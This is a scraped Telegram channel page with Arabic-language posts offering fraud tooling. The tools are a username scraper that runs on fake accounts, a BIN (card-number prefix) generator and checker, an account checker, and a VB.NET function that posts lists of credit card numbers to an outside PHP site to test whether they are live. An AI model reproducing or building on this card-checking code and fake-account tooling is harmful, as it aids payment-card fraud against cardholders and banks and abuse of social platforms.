U N C 0 Đ E R
Відкрити в Telegram
782
Підписники
Немає даних24 години
Немає даних7 днів
Немає даних30 днів
Архів дописів
برنامج سحب يوزرات + فلتره
1- تختار نوع السحب
2- تسجل بحساب وهمي
3- سليب
4- عدد المتابعين ( من يسحب يجيب عدد انت تختاره )
5- ستارت
@pppppd
برنامج حذف المنشورات + حذف المتابعين
تسجل بحساب
تختار لو حذف متابعين لو حذف منشورات وتخلي سليب 5 او 4 وشغله
👀 برنامج ستخراج بين جديد وكذا
يمكن يستخرج من كل دوله 100 اني ماضفت اكثر
وتكدر تسحب بين من حوالي كل دول العالم ضايف :/
برنامج فحص bin
يستخرج لك كل معلومات البين
شغال او مو شغال من يا بنك و يا دوله والخ ....
اذا تحتاجو انزله الكم
Function checker(ByVal visa As String) As Object
Try
Dim data As String = "ajax=1&do=check&cclist=" + visa
Dim bytes As Byte() = Encoding.UTF8.GetBytes(data)
Dim request As HttpWebRequest = DirectCast(WebRequest.Create("http://kuku.ke1.nl/ccn1$/alien07.php"), HttpWebRequest)
request.Method = "POST"
request.Host = "kuku.ke1.nl"
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; rv:73.0) Gecko/20100101 Firefox/73.0"
request.Headers.Add("Accept-Language", "en-US,en;q=0.5")
request.Headers.Add("X-Requested-With", "XMLHttpRequest")
request.Accept = "application/json, text/javascript, */*; q=0.01"
request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
request.Referer = "http://kuku.ke1.nl/ccn1$/v3.html"
request.KeepAlive = True
request.Proxy = Nothing
request.ContentLength = bytes.Length
request.CookieContainer = New CookieContainer
Dim requestStream As Stream = request.GetRequestStream
requestStream.Write(bytes, 0, bytes.Length)
requestStream.Close()
Dim response As HttpWebResponse = DirectCast(request.GetResponse, HttpWebResponse)
Dim reader As String = New StreamReader(response.GetResponseStream).ReadToEnd().ToString()
Catch ex As Exception : End Try
Return Nothing
End Function
تشيكر فحص يوزرات ل 14 يوم
خلي سليب 4 او 5 و شغله
طباع التشيك مبرمجخ من زمان وحفظته برسائل التلي وهسه لكيته كلت انشره الكم
البرنامج بدون حمايه للي يحب يشوف الاكواد
@abbas_coder
